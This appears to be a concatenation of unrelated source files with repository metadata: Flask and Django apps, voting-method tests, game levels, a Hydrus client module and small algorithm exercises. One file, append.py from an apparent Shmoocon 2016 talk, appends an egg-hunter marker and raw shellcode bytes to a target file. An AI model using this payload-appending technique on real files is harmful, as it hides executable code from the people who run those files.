def areaOfIntersection(shape1, shape2): cells = 0 for x in range(shape1[1]-shape1[0], shape[1]+shape[0]): for y in range(shape1[2] - shape1[0], shape[2]+shape[0]): diff1 = abs(x - shape1[1]) + abs(y - shape1[2]) diff2 = abs(x - shape2[1]) + abs(y - shape2[2]) if diff1...
[ "omash@MacBook-Pro-de-Carlos.local" ]
omash@MacBook-Pro-de-Carlos.local
ede03f7baa18ff979304f1b42fe3050e1cc57721
a38d76039efec7b7553ee8a7ab27cf156f687a2c
/venv/bin/pyhtmlizer
fcaa171c6553807569055c37205b3de8d71e2a2f
[]
no_license
LottoDog/paBug_day05
0cdd294c01b79f12d055fbc1de6e3c5d1e885d3e
3742e49943aea554d3749ea0b06a6ea7466dfbb4
refs/heads/master
2020-05-30T20:57:12.808103
2019-06-03T08:01:24
2019-06-03T08:01:24
189,961,136
1
0
null
null
null
null
UTF-8
Python
false
false
426
#!/home/db/桌面/weichao/paBug_day05/venv/bin/python # EASY-INSTALL-ENTRY-SCRIPT: 'Twisted==19.2.0','console_scripts','pyhtmlizer' __requires__ = 'Twisted==19.2.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0...
[ "1461217709@qq.com" ]
1461217709@qq.com
5eda38602c9897aa34ee18f8b6a594549d4df83c
4719f3ef5a0d40c4426a4ac8c9307fc4631b8eea
/tests/test_borda.py
36de3d7b168b9e3a7a42fd7fafbb598650240d4c
[ "MIT" ]
permissive
ozcan-durak/elsim
08104b9c8820e412d93e9cc91b5e0179151cbec5
3e0e53adc1579ba1ab9c429d05d772dad2c6eb5b
refs/heads/master
2022-12-05T13:23:23.200159
2020-08-18T01:09:52
2020-08-18T04:25:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,681
py
import random import numpy as np import pytest from hypothesis import given from hypothesis.strategies import integers, lists, permutations from elsim.methods import borda def collect_random_results(method, election): """ Run multiple elections with tiebreaker='random' and collect the set of all winners. ...
[ "endolith@gmail.com" ]
endolith@gmail.com
e3743e1a7d36b624dccc6c3714f1ee5d6660e740
d832b1ed2bcef2d7d644e5cc5eb333bc23193ce2
/23.2/sqla-associations-demo/VideoDemo/app.py
14b63a7edef5d6a715501c0a529a9c47e964ddbe
[]
no_license
sourcery-ai-bot/23_SQL_Alchemy
90df2be5ddafda7e5d5eb6eed967fb9aedeb3787
85114607c52d2fc1804aa6f3723d81ae14836852
refs/heads/main
2023-07-12T22:40:50.406064
2021-08-30T23:39:58
2021-08-30T23:39:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
834
py
from flask import Flask, request, render_template, redirect, flash, session from flask_debugtoolbar import DebugToolbarExtension from models import db, connect_db, Department, Employee, get_directory, get_directory_join, get_directory_join_class, get_directory_all_join, Project, EmployeeProject app = Flask(__name__)...
[ "52443523+XuXaO415@users.noreply.github" ]
52443523+XuXaO415@users.noreply.github
b31675e7258797f946bd870777c6b7467a9630a9
b8a116bb0702abaa490d0985f2338e4951787402
/append.py
e9d0ae8028ae4a19950d14429c59dd040f01ac3e
[]
no_license
secretsquirrel/Shmoocon2016
322c1b70c42832090ff2c39569d2b5229e58f8c3
b2355ba8695fdbcb83694963668090ee9350bba6
refs/heads/master
2021-01-10T04:15:11.683365
2016-01-18T17:24:56
2016-01-18T17:24:56
49,734,627
27
5
null
null
null
null
UTF-8
Python
false
false
1,218
py
import struct import sys def append(a_file): with open(a_file, 'a') as f: egg_hunter = "\x77\x00\x00\x74\x77\x00\x00\x74" payload = ("\x55\x48\x89\xe5\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x04\x4c" "\x89\xc0\x48\x31\xff\x66\xbf\x01\x00\xeb\x1e\x5e\x48\x31\xd2\xb2" "\x0e\x0f\x05\...
[ "jhpitts@gmail.com" ]
jhpitts@gmail.com
7e2e0c0ba6b7e5a0e6a79bdeb31c25501d57b876
9d656910d4e22b4e1bfc136689cc8d5cf02b6619
/1write_bitzp_and_shuffle.py
0f7512516d7c7ab6d479e166c15ef73fd8bbe295
[ "MIT" ]
permissive
daishaoxing/cytotoxicity
ee8227d4d4700d798f1a61cdc18971a32e7ab55f
74f67b5a0d8e1b06981962a652e2e048634f8b4c
refs/heads/master
2021-08-20T08:46:50.664188
2017-09-19T09:45:44
2017-09-19T09:45:44
104,055,809
1
0
null
2017-11-28T16:50:37
2017-09-19T09:36:49
Python
UTF-8
Python
false
false
1,913
py
from sklearn.externals import joblib import pybel import cPickle import random def setOfWords2Vec(vocabList, inputSet): returnVec = [0]*len(vocabList) for word in inputSet: if word in vocabList: returnVec[vocabList.index(word)] = 1 else: print "the word: %s is not in my Vocabulary!" % word return returnVec ...
[ "noreply@github.com" ]
daishaoxing.noreply@github.com
5502bfd4c0c120b2cdd499f18d9f837fa7b5bdf7
d4fc75c97ba5735c192e8d30ce427a4a7f8c2089
/lab4/main.py
f79821173f0eb494fa7dab61eb83180463a7b5d8
[]
no_license
aluminium13/sp2
20c0eb7d41dffb7acd956dfaef821a87dc2ad41a
f16452e2317e9b45ac7fe3016e9487fcd56bc997
refs/heads/master
2020-03-28T09:35:43.204198
2019-02-26T19:46:27
2019-02-26T19:46:27
148,045,295
0
0
null
null
null
null
UTF-8
Python
false
false
483
py
from pascal import pascal_lex from lex import hasNoErrors from syntax import syntax_analysis # while (n>0 and b=a[n]) do n:=n-1 # if c!=0 then b:=d else b:=2*a[n]; # b:= d!=0; b:=2*a[n]; # b:= d; b:=2*a[n]; characters = "" while characters != "q": characters = input(">") tokens = pascal_lex(characters) i...
[ "aluminium_71@outlook.com" ]
aluminium_71@outlook.com
eedf52d39db0f7cbd35b1da68b6f88b87aa7ab17
4aed67820732a4f421749b87cfecb652a5dd6a39
/homework5/homework5/predictors/__init__.py
3c3624420450332930a1ef5ea0d4c0f304e28e2e
[]
no_license
501Good/LTAT.01.001-Natural-language-processing-2018-19-spring
4e9c0845963be13284ec880ad9a630ee35154930
1d42e2a3b64086ce5651bc8c98edeb64ec64bc0d
refs/heads/master
2020-05-09T13:18:07.652688
2019-05-10T07:00:22
2019-05-10T07:00:22
181,145,901
0
0
null
null
null
null
UTF-8
Python
false
false
71
py
from homework5.predictors.predictors import SentenceClassifierPredictor
[ "milintsevich@gmail.com" ]
milintsevich@gmail.com
65e39f05502ee1e4f16aa0274c7f28f5ee17a0e9
bf2390ac5b116177acebd424707167c5c22d081a
/include/ClientData.py
e10c43a7a89c916e059cfdba2a21e69ac7991739
[ "WTFPL" ]
permissive
bigretromike/hydrus
1cd842129da3e1851a7ad0559790a4895cad6887
6da58bc9df51c75fa65173b182166deb3259278e
refs/heads/master
2021-01-24T20:25:24.164062
2015-11-13T09:06:38
2015-11-13T09:06:38
44,671,599
0
0
null
2015-11-13T09:06:38
2015-10-21T11:26:12
Python
UTF-8
Python
false
false
110,042
py
import ClientConstants as CC import ClientDefaults import ClientDownloading import ClientFiles import ClientNetworking import collections import datetime import HydrusConstants as HC import HydrusExceptions import HydrusSerialisable import HydrusTags import threading import traceback import os import random import shut...
[ "hydrus.admin@gmail.com" ]
hydrus.admin@gmail.com
8303d30c8032f5f4d4810c52bb87dece4b05a65d
08a1d871f4be9ea61497751845a5ed9abe2a1012
/farbox_bucket/utils/cli_color.py
5819c5e25a1ad977f067ed1c0eba565f31526df8
[ "MIT", "LicenseRef-scancode-other-permissive" ]
permissive
itfanr/FarBox
5bfff706439a6a223f531cfa36100ac21ed4878b
daeda4f5080467f1ddf4b60424b8562f914756bd
refs/heads/master
2023-04-19T07:23:28.824231
2021-05-07T02:29:06
2021-05-07T02:29:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,422
py
#coding: utf8 from __future__ import absolute_import, print_function #CSI="\x1B[" #RED = CSI+"31;40m" #GREEN = CSI+'32;40m' #RESET =CSI+"m" FLAGS = dict( RESET = "\x1B[0m", BOLD = "\x1B[1m", DIM = "\x1B[2m", UNDER = "\x1B[4m", REVERSE = "\x1B[7m", HIDE = "\x1B[8m", CLEARSCREEN = "\x1B[2J"...
[ "hepochen@gmail.com" ]
hepochen@gmail.com
40ddc8421d44905539dea7b92a24c89d750a0063
294fc074131d08ad4d602d1c5dc672674b1d0cc6
/src/level/level3.py
8e07c90e43be2e812740ec9c9aa44799de09999c
[]
no_license
railsdev/treasure
8a15f757e988a86bfd52ade9c12d9b73db22c77e
603b3719c7aa14aad436b8ee7cf08c8991ac12cd
refs/heads/master
2019-01-02T08:19:37.840729
2012-05-16T21:20:10
2012-05-16T21:20:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,167
py
terrain = [ " X ", " X ", " X ", " X ", " X ", " X ", " X ", " X ", " X ...
[ "nathan.stocks@gmail.com" ]
nathan.stocks@gmail.com
701af4a6dea98585d23863e6340949745d1980e6
73758dde83d1a1823c103e1a4ba71e7c95168f71
/nsd1912/py02/day02/myfunc.py
684e88105205263137758b3b560f5844088f2eac
[]
no_license
tonggh220/md_5_nsd_notes
07ffdee7c23963a7a461f2a2340143b0e97bd9e1
a58a021ad4c7fbdf7df327424dc518f4044c5116
refs/heads/master
2023-07-02T01:34:38.798929
2021-05-12T08:48:40
2021-05-12T08:48:40
393,885,415
0
0
null
null
null
null
UTF-8
Python
false
false
271
py
def func1(x): if x == 1: return 1 return x * func1(x- 1) # 5 * func1(4) # 5 * 4 * func1(3) # 5 * 4 * 3 * func1(2) # 5 * 4 * 3 * 2 * func1(1) # 5 * 4 * 3 * 2 * 1 if __name__ == '__main__': print(func1(5))
[ "zhangzg@tedu.cn" ]
zhangzg@tedu.cn
2c3ddf59ef5bbc9b91706cc3b505f3e28ba85471
1ade02a8e0c6d7e442c9d9041f15518d22da3923
/w8/mock_phase2/run/core/controllers/generic.py
4478b8a5012a51fa7a71dcc21a18532f1804d5fc
[]
no_license
fodisi/ByteAcademy-Bootcamp
7980b80636a36db6da3e0fc0e529fbc6b8e097e0
d53e3f4864f6cba1b85e806c29b01c48e3c2e81d
refs/heads/master
2020-03-19T12:55:31.489638
2018-07-25T16:19:19
2018-07-25T16:19:19
136,550,128
0
1
null
null
null
null
UTF-8
Python
false
false
285
py
#!/usr/bin/env python3 from flask import Blueprint, render_template controller = Blueprint('generic', __name__) @controller.route('/<product_name>') def home(product_name): # obj = model.get_product(product_name) return render_template('index.html', json_obj=obj.to_json)
[ "fodisi@users.noreply.github.com" ]
fodisi@users.noreply.github.com
8da80ee62fb2a9c9ee57874efa1a8a69dc421479
694d57c3e512ce916269411b51adef23532420cd
/leetcode/23merge_k_sorted_lists.py
76d8e6ea698631516ea4cfdd1e87899d4de8cc45
[]
no_license
clovery410/mycode
5541c3a99962d7949832a0859f18819f118edfba
e12025e754547d18d5bb50a9dbe5e725fd03fd9c
refs/heads/master
2021-05-16T02:46:47.996748
2017-05-10T23:43:50
2017-05-10T23:43:50
39,235,141
1
1
null
null
null
null
UTF-8
Python
false
false
1,368
py
import heapq class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def mergeKLists(self, lists): new_head = None heap = [] for node in lists: if node: heapq.heappush(heap, (node.val, node)) ...
[ "seasoul410@gmail.com" ]
seasoul410@gmail.com
c9dd0b15f24487f9534251c6795772a3bbb8f2a1
162cb21fbc96e8b8ca595ee65b740624d8c8848e
/assignment01/ass1Q1.py
6ec7a93f46f3f6868b2af317c7bb5ee153d59acb
[]
no_license
BansiddhaBirajdar/python
b5766ca702a83fb3b0dab3218a00ebbabcef67f9
f4b4b6804cd05e277f9d9d486d72c50c1afb2219
refs/heads/master
2022-04-10T19:53:17.119366
2020-03-27T15:44:14
2020-03-27T15:44:14
250,241,920
0
0
null
null
null
null
UTF-8
Python
false
false
293
py
'''Program to divide two numbers''' def main(): ino1=int(input("Enter the no1::")) ino2=int(input("Enter the no2::")) if(ino2<=0): print("Please enter +ve no") return else: print("Division of ::",ino1//ino2); if __name__ == "__main__": main()
[ "bansi.birajdar7@gmail.com" ]
bansi.birajdar7@gmail.com
4b08becbc3b90a3cc500e0fe33620b6680b22c96
8b52ab06e6a767fc1e87a391ea0c2e53fff09049
/untitled/venv/bin/pip3.7
6bddfa304559245cf3253422e1f47012ccfc746a
[]
no_license
SSourceFile/pykuaishou
e96b759183d7f0a6bd0aa9262d02930a5f05700c
b1d70385dcee82956276f26319971202cd5bee5b
refs/heads/main
2023-02-20T03:40:14.709548
2021-01-20T10:41:17
2021-01-20T10:41:17
331,274,220
0
0
null
null
null
null
UTF-8
Python
false
false
406
7
#!/Users/hmh/PycharmProjects/untitled/venv/bin/python # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3.7' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) s...
[ "huaminghui@hzed.com" ]
huaminghui@hzed.com
046e8b44c06baf837f8880c3c055e41d60a62cb0
715f06778489ec5f7670771a1f24cc9c6e7d3803
/labber/cisco/xr_device.py
d479a8c0c9186cf2d4e58b26f15a1e281082e767
[]
no_license
xv0x7c0/labber
a04bf7fdc5c2e5c6f52da5f61c5398912dc78d74
a653af0a0d9e5ebf5b2e9420edc7726b56c7db36
refs/heads/master
2021-06-17T01:39:36.290288
2019-06-02T13:59:21
2019-06-02T13:59:21
188,347,006
0
0
null
2021-03-25T22:45:34
2019-05-24T03:35:50
Python
UTF-8
Python
false
false
713
py
import netdev from labber.device import Device class XRDevice(Device): device_type = "cisco_ios_xr" _scp_path = "disk0:/labber_replace_config.cfg" async def get_config(self): async with netdev.create(**dict(self)) as node: config = await node.send_command("show run") ret...
[ "13061441+xv0x7c0@users.noreply.github.com" ]
13061441+xv0x7c0@users.noreply.github.com
515c154e112ed44885fb11d8cfbd74d1c10c102d
1b070c5fabfe7e804eac4c7d706f6ccdf6b29ed0
/partners/migrations/0005_auto_20200620_0044.py
bfe6abd78feb964304d45149cd068cdcdae946a8
[ "MIT" ]
permissive
cZachJohnson/My-Business
ef80dae6458c2fb7a08465d29e32f9405e52e43d
792bb13a5b296260e5de7e03fba6445a13922851
refs/heads/master
2023-08-25T06:51:39.330270
2021-10-25T01:20:34
2021-10-25T01:20:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
687
py
# Generated by Django 2.2.12 on 2020-06-20 00:44 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("partners", "0004_auto_20200609_0514"), ] operations = [ migrations.AddField( model_name="partner", ...
[ "yasserth19@gmail.com" ]
yasserth19@gmail.com
32313735f8656809d14e5f294203dbd9ffb84b68
39fa481b356c5e8df77c7459330294b30b45b845
/process_memtier_data_experiments_gets.py
3e88725c279a620969e78fd7d3d66062dbdc7554
[]
no_license
jovan-ioanis/asl-project-2017
bd32d4220b23163bcb1de7b99bfc5c852311b0b4
079b94e0119bd6d71b5ccf8ecf0ee4a085d69722
refs/heads/master
2021-04-06T20:46:30.637686
2018-06-14T10:25:56
2018-06-14T10:25:56
125,279,638
0
1
null
null
null
null
UTF-8
Python
false
false
13,996
py
""" ASL project - fall 2017 author: Jovan Nikolic Processes json log file produced by memtiers """ import json import numpy as np import csv plots_base_name = "plots/experiment_gets/" big_output_path_base_name = "aggregated_data/experiment_gets/" file_base_name = "data/experiment_gets/" csv_file_name = ...
[ "jovan.nikolic@gess.ethz.ch" ]
jovan.nikolic@gess.ethz.ch
09433901cd398eb1b68a2c4107da479d5327b795
6e7393f57187089124ed0efb6b9235341e3fae17
/kh_django/khuser/apps.py
913a80460bc212293c3dbbe56fc11ba731ed14d4
[]
no_license
hunit612/django_shop
27b98b9fa6dac2f97b30a01b978ef0ebdbe9735e
e9e4178c87e1a4f70260174d272dc01b8918ae98
refs/heads/main
2023-03-13T07:00:42.425760
2021-03-01T14:40:54
2021-03-01T14:40:54
338,822,804
0
0
null
null
null
null
UTF-8
Python
false
false
118
py
from django.apps import AppConfig class KhuserConfig(AppConfig): name = 'khuser' verbose_name = '사용자'
[ "hunit612@gmail.com" ]
hunit612@gmail.com
b44a74768299645863484570c09d4de808d5b045
02d9e8e33ee9514c326effa65376b88c530f3049
/masatermica/settings.py
175960a7384b5c5deaade1c3269eb4b177587c93
[]
no_license
SolracNavi/my-first-blog
a974d286ecf5a17b031b794efb7bb78e4d27f614
2a2b910fe6219bc6cab5d159c2b3db20ed8d46fc
refs/heads/master
2020-06-24T22:00:15.817196
2019-08-01T02:11:28
2019-08-01T02:11:28
199,103,991
0
0
null
null
null
null
UTF-8
Python
false
false
3,214
py
""" Django settings for masatermica project. Generated by 'django-admin startproject' using Django 2.0.13. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import ...
[ "el.sariri@gmail.com" ]
el.sariri@gmail.com
1d0d1a4ae639e6a74e1217e9b97c79cdbb3541a8
9a27bf7fbcddfed5770f876f14140e1bfa94942e
/country-ranges.py
a5644feceb490a049e0bce48c6b286b6048bfd95
[]
no_license
zb3/scan-ignore-utils
d71a4260b636b4ba4a59e3bd7f8461f37a13058e
66c95b974266416baedb812280b7b81476d09366
refs/heads/master
2021-05-12T14:17:11.123920
2019-12-20T17:27:11
2019-12-20T17:27:11
116,952,564
4
0
null
null
null
null
UTF-8
Python
false
false
1,701
py
import sys import csv import argparse from util import * """ * This tool always produces a whitelist, since the DB doesn't map every IP address to a country. So if you want to exclude ranges from one country, you will also need to exclude all unknown ranges, otherwise your exclusion may not be effective. """ parser ...
[ "onlylogout@gmail.com" ]
onlylogout@gmail.com
f61fc5f91aad394d7fb0cff01fbb7842ed9c45b2
c7f8eb0bf36992599a3b81166e8713a41b0ad6d8
/main.py
a82d742e449edbe3889351d79efb6820da72e388
[]
no_license
dcassiero/webscrapery
7317b339cfb590370095ddd72476190b328df7bf
e4859ce8e2315640c935adbd19f2d102dafbf692
refs/heads/master
2021-01-20T07:51:36.003878
2017-05-02T18:48:58
2017-05-02T18:48:58
90,053,821
0
0
null
null
null
null
UTF-8
Python
false
false
261
py
from bs4 import BeautifulSoup import requests params = [] r = requests.get("https://stage-services.icg360.org/cxcat/health", params=params) soup = BeautifulSoup(r.text, "html.parser") results = soup.findAll("label", {"class": "control-label"}) print(results)
[ "daniel.cassiero@gmail.com" ]
daniel.cassiero@gmail.com
05837a53261174503793bd262e4c53569fed61db
ddc32226df51aa1a5796fa9df74c3e92fd0ace42
/django_workflow/migrations/0009_auto_20180226_1444.py
db15b64e0b8c188ee4117df3155aa7dba90ebd3b
[ "BSD-3-Clause" ]
permissive
dani0805/django_workflow
fc2dbf086fecc946f0cae19bd81583e77724335d
4eb20fefa95c5d917628fc32b5479879d119a7e1
refs/heads/master
2021-07-06T13:20:31.560791
2019-10-15T13:41:10
2019-10-15T13:41:10
101,757,229
8
0
BSD-3-Clause
2021-06-10T20:49:54
2017-08-29T12:11:49
Python
UTF-8
Python
false
false
874
py
# Generated by Django 2.0 on 2018-02-26 14:44 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('django_workflow', '0008_auto_20180117_1455'), ] operations = [ migrations.AddField( model_name='t...
[ "valerio.sanelli@florencetech.com" ]
valerio.sanelli@florencetech.com
ed14a31e2f83ec2a3f46f9db50e246d077f8693e
ee9b987b42140d7a4e4e8ecfbfab2b0629fefb4a
/user1.py
f364b5978c5b54ca55b6d9a0fb6c8b9fc3459882
[]
no_license
awalton9401/chicagocodepython
740d2ad2c9e63d606cb808ab13cc0a2017f772a8
f27c0336e60f0f4ec16fe12c9372caec7e2f403a
refs/heads/master
2021-01-15T06:17:30.149572
2020-02-25T03:35:56
2020-02-25T03:35:56
242,899,688
0
0
null
null
null
null
UTF-8
Python
false
false
1,208
py
class User: def __init__(self, name, email_address, account_balance): self.name = name self.email = email_address self.account_balance = account_balance def make_withdrawl(self, amount): self.account_balance -= amount def make_deposit(self, amount): self.a...
[ "awalton9401@hotmail.com" ]
awalton9401@hotmail.com
6347debad11c0a6b40a7f94a3ab778d780943f36
24a88b7dd4d81763fd4212a42c4a73f4c35f8ffc
/apiREST/api/serializers.py
f92010912774eedc0733526c21deca79cd4e444b
[]
no_license
junkluis/leccionMVC
d001c122318dde065ffd9a88aaaad0b7b4533a05
c311e69f2ae6d102651f9f7e6fc1f9750fc9e4bc
refs/heads/master
2021-01-15T19:27:48.875724
2017-08-14T14:35:29
2017-08-14T14:35:29
99,823,220
0
0
null
null
null
null
UTF-8
Python
false
false
244
py
from rest_framework import serializers from .models import * class ticketSerializer(serializers.ModelSerializer): class Meta: model = ticket fields = ('fechaEmision', 'Precio', 'Adquiriente', 'Puesto', 'Origen', 'Destino')
[ "lufezuro@gmail.com" ]
lufezuro@gmail.com
adf34bdb17df662959d03197aa497d4f9a4eccc1
9bbf429d2c2e2f20345d613a719cf01e8f9a0bff
/project/settings.py
6c1e92b7cc86c64ef10a85cf6336b520a2f2d545
[]
no_license
sandglasscao/ENU
f78f8a8dfaf3263587885b0622ab6d3182012375
e3c26fd57f8ef582da576e1cc28b7eb42562c706
refs/heads/master
2021-01-23T05:19:03.175439
2017-04-14T09:24:22
2017-04-14T09:24:22
86,297,754
0
0
null
null
null
null
UTF-8
Python
false
false
7,673
py
""" Django settings for project project. Generated by 'django-admin startproject' using Django 1.8.2. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build path...
[ "root@localhost" ]
root@localhost
7ee2e91b98ce35a52abbece10be152d25ea89176
9884a461ad663e402074639f72005cc608a169ec
/ToDo/urls.py
c535801a83995ee58a2d982a9f44818624f16c56
[]
no_license
prshnt19/ToDo
1cd7de3be0957046aa72719bdf907768b617666c
dca6ea52ff4c67683beb5d4026772f79d2eae84d
refs/heads/master
2022-01-25T13:34:39.752599
2019-06-25T13:39:02
2019-06-25T13:39:02
174,274,805
0
1
null
2022-01-06T22:30:20
2019-03-07T05:01:27
HTML
UTF-8
Python
false
false
820
py
"""ToDo URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based vi...
[ "prashant.rawat216@gmail.com" ]
prashant.rawat216@gmail.com
36f9d2123e175a1a9411491e0c6b6f2766b39207
76b79e9f97dccc120f0bd707ddc00ed749c7d519
/mainbasket_cekstopword.py
c39fd6a79eaec4ff06951fc3079df24e06b9e9db
[]
no_license
alhilmiu/file-web-mining
ece584d55976652c6f68b7343874ce9b9a60977c
46abbe8083bbf6021ddc3bcc7745d47ea7fe5008
refs/heads/master
2020-05-18T19:03:36.966006
2019-05-02T15:00:45
2019-05-02T15:00:45
184,600,666
0
0
null
null
null
null
UTF-8
Python
false
false
216
py
def cek_kata(kata): doc=open("stopwords.txt","r") kumpulan_kata=doc.read() #print (kumpulan_kata) if kata not in kumpulan_kata: ketemu=True else: ketemu=False return ketemu
[ "alhilmi015@gmail.com" ]
alhilmi015@gmail.com